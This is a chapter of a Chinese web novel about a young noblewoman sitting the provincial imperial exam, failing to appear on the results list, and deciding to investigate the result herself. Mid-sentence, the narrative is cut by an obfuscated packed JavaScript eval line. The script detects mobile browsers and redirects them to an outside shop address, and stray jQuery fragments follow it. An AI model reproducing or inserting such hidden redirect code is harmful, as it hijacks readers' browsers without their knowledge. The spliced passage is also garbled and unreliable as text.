八月初五日,乡试开考。
天还未亮,封若卿房内的灯已然亮起。春沁早已提前备妥笔墨砚台、干粮寝褥、灯烛与炭火,一应物件收拾得整整齐齐。
封若卿吩咐道:“记得将那支‘天章’笔带上。”
春沁从昨日起就表露出担忧的情绪,甚于封若卿,声音满是不安,道:“那支笔已经装在笔袋中了。只是,主上你自小没有独自生活过,从前在府内是静川贴身伺候,入宫后我和春芳妹妹一刻也没离开过主上,吃穿用度,起居出行,无微不至。这破考试,还需要待在闭塞的小房间内整整三天不能离开?为什么不让陛下免了乡试?主上进去要受苦了,如何还能写得试卷?”
封若卿安慰道:“无妨,我能应付。给我准备好干粮和水就行。”
春沁:“主上向来不听劝!可遇到问题,一定要托考场监差捎信寻我。”
“知道啦。”
二人走出闺房,江伯已经套好车在外等候。封若卿先是来到厅堂告别伯公,封瑜见她已经准备好,道:“决云丫头,莫要紧张。在里面安心写完,三日后,我与他们在贡院外等你。”
封若卿:“伯公莫要挂心,您行走不便,到时候由江伯在外等候就行。”
封瑜拍拍封若卿肩膀,道:“不论做什么事情,先保证自己开心,答应伯公好吗?”
“知道的,伯公,那我便去贡院了。”
封若卿上了马车,江伯说道:“主上,贡院那边打过招呼了,到时候会有杂役给你烧水、热干粮、看管灯火,你安心答题即可。”
封若卿道:“好的,但也不可太过特殊。”
江伯道:“主上放心吧,于黔府内的达官子弟还有带自家奴仆的呢。咱们没有将春沁带上,已经很不特殊了。”
封若卿笑道:“多谢江伯。”
没一会,马车便到了贡院门口。
贡院大门迎来了三年一次的开启,封若卿独自带着物品,接受检查。搜查官们让封若卿将头发散开、鞋袜脱下、被褥拆开,仔细搜查夹带。又核对了担保人信息,这才将号舍号牌拿给封若卿。
突然,贡院门口,几声激烈的狗叫声吸引了学子们的目光——远处几只野狗冲上来抢走了一位考生的馒头,馒头中夹带的微型竹片散落一地,巡场官兵见状立刻控制住了该考生。
考生见自己舞弊被发现,浑身麻痹,崩溃地伏地号泣,又不断叩首,额头渗出血渍,他边哭边看着众人,说道:
“各位同仁,王生我并非有意作弊。这些年,我五次赴秋闱,耕读二十七载!家中田亩为供我读书,都卖了。妻儿每日采野菜度日,父母已然垂垂老矣,家中却无粟奉养。世家子弟关关打点,寒门士子却寸步难行,我没有银钱贿赂考官,没有显赫家族托举,万不得已才将竹简藏在馒头中。今野狗毁我前程!功名永绝!一家老小再无生路!寒窗半生,竟落此下场,非我贪慕虚荣,实是活不下去了!”
贡院门口观者众多,大家听闻此语,莫不恻然落泪,尤其是同届考生,谁人不知备考艰辛……却也只能叹气而已。考试即将开始,大家渐渐散开,封若卿见那名叫王生的考生被带走,于是转身进入贡院,按照编号进入了狭长的号舍区。
号舍是一间窄小隔间,只一条木板当桌子,下层一条木板坐卧,墙角一个简陋小粪桶。
封若卿将笔墨纸砚摆好,坐在木板上试了试,发现异常咯人,便将锦被铺在了木板上。收拾好号舍后,开考时间到了,考官将试卷发下,封若卿快速过了一遍题目——乡试倒是不难,封若卿细细答题,琢磨着如何比平时答得更加卓越。
天渐渐黑了,有小厮过来,悄悄说道:“封小姐,油灯替您点亮了。如有其他需要,吩咐即可。”
封若卿只点点头,继续答题。八月盛夏,天气闷热、蚊虫也多,封若卿只觉得浑身粘腻,不时还被蚊虫叮咬,瘙痒难耐。只得一一克服,耐下性子答题。
从未受过这般苦的封若卿,这两晚睡得极其不安稳,不是被蚊虫咬醒,就是被臭味熏醒,第二晚更是被隔壁号舍的咳嗽惊醒,便再也不能睡着了。
“老天爷,经义策论我不在话下。可这科考条件也太艰难了些。”
封若卿抬头看着月光洒落在一个个小小的号舍,突然发现竟然还有半夜点燃油灯思索的学子。她这才更加清晰地认识到:对于许多寒门来说,科考是他们唯一的希望,拼尽全力才对得起这个“希望”啊。
在不断克服困难、忍耐不适中,八月初五这场考试终于结束了。接下来的八月初十第二场,考诏、诰、表、判、论、策文体,八月十五第三场,考的五道策论,对于封若卿来说,全不在话下。
持续半个月的考试结束,封若卿瘦了一大圈,让春沁担心的不行。春沁用药膏给封若卿被蚊虫咬烂的手涂抹着,说道:“主上现在这个样子,要是被陛下看到,肯定要罚我俸禄了!”
封若卿开玩笑说道:“你的俸禄那么高,罚一些也无碍。”
春沁:“主上,又拿我开玩笑了。”
江伯敲响了房门,道:“主上,陛下来书。”春沁开门拿了信递给封若卿,封若卿缓缓展开信,上面写着:
恭喜乡试结束。离放榜还有一段时间,听闻你身体消瘦,莫要赶着回京,待在于黔好好休养,放榜后再徐徐回来。九月天气渐凉,记得添衣加食,莫要再让朕担心。你的画作已挂在启元宫,可回来观看。
封若卿吓一跳,道:“陛下将我的画挂在启元宫!”
春沁突然虚心道:“奴婢说了陛下会喜欢吧!”
封若卿点了点春沁的头,道:“坏丫头!”
九月十五日,贡院鸣炮三声,一众官员整肃衣冠,列队护送彩亭,鼓乐开路、兵士护卫,从贡院正门出发,一路去往衙门外墙,差役将三丈多长的大黄纸龙虎榜固定在高墙之上。
桂榜终于发放。
大批士子、仆从、看热闹百姓一拥上前,顺着名单搜寻姓名。封若卿站在远处,由小厮前去看榜。封若卿穿着素色纱罗披风,见树梢树叶已黄,随着晨风飘落,一阵秋风拂过,微冷,封若卿不禁拢了拢披风。
小厮看完榜,一脸沉重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811171|210834||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地走到封若卿跟前,一字一句道:“小姐,奴才眼拙,似乎没瞧见您的名字。”
封若卿一时不知如何反应,这是个从未设想过的答案。她转念回想自己考试时是否存在失误,但仔细思量,答题严谨、抄录干净,按理不会有问题。
一旁的江伯道:“主上莫要担心,我前去看看。”江伯看完回来后,脸色凝重,道:“确实无主上姓名。”
封若卿已经接受了这个结果,但还是亲自走近观看,抬头扫过榜单——确实——正榜副榜皆无其名。
并且,封若卿特地查看后发现,那孟哲也没中,名字仅在副榜之上。
榜首解元名叫:虞淵。
封若卿回到封府,告知伯公自己已经落榜。封瑜叹了口气,又平和地对封若卿说道:“尽快告知陛下即可。”
封若卿早冷静了下来,道:“伯公的意思是这榜有问题?”
封瑜:“无论如何,肯定要复查。”
封若卿明白了伯公的意思,思考了一会,道:“不用上书陛下,我会自己查清楚。如若技不如人,我自会认输。大不了明年再考一次!”
封瑜笑笑,道:“如若明年再不中呢?”
封若卿愣住了,僵硬地答道:“再考。”
“再不中呢?”
封若卿顿觉不能呼吸,一股巨大的绝望感笼罩在他的心头。是的,如若今年、明年、后年、大后年都中不了呢?自己这满腹热血、一腔为国的抱负又该何处使?越想越觉得窒息,封若卿拿起身旁的水大口喝了起来。
她突然想起那日月渡水阁楼中,苏老那番“老生科考一生,并不为一官半职,只为所学有处言说而已”的话。当时只做旁观者之叹,如今才切实明白,何为绝望、何为绝望之后的豁达。
谁人不想中举……无非是命运是否如愿而已。
封若卿缓缓说道:“我已想好,我今年十三岁,我可以科考至二十,如若还不中,则可寄情山水,留书于世。亦可经营商铺,多做善事,亦是为国为民。”
封瑜呵呵笑道:“真不愧为我封家后人,伯公为你感到骄傲。只是人各有命,有些人的命充满了曲折和无奈,但你的命早已注定。”
封若卿疑惑道:“伯公如何知道我的命运?”
“看来陛下,对你尚且有所保留。只教你何为理想,只教你如何处事,这一切都是明面上的东西,而暗流之下……”封瑜突然缄口,拿起茶杯喝了口茶,又道:“决云,按照你的想法来就行。”
封若卿想起在启元宫与赵恪相处的日日夜夜,想起与陛下一起看奏折、一起策对,想起在国子监时,自己门门甲上的成绩。
“我要上诉!”封若卿越发坚定起来,“我相信自己,更相信陛下所教。这其中,必定有问题。”
江伯抬手自怀中取出一块冰凉的银鱼令牌,低声回话:“主上,陛下临行前交付在下这块御前鱼符。凭着它,整个于黔府的大小衙门、贡院值守兵士,无人敢拦阻您查此案。”
封若卿轻轻摇头,目光沉静:“此事,我要自己一步一步查。”